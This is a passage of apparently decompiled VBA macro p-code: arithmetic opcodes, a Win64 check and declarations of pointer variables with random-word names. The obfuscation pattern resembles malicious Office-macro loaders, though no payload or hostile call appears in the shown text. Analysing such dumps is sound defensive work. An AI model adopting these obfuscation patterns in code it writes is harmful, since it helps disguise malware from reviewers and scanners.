' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0005 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0008 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #115:
' 	Dim 
' 	VarDefn pompon (As Long)
' Line #116:
' 	Dim 
' 	VarDefn premier (As Ptr)
' Line #117:
' 	Dim 
' 	VarDefn deadness (As Ptr)
' Line #118:
' 	Dim 
' 	VarDefn flunker (As Ptr)
' Line #119:
' 	LitDI2 0x002A 
' 	LitDI2 0x0043 
' 	Add 
' 	LitDI2 0x07A3 
' 	Add 
…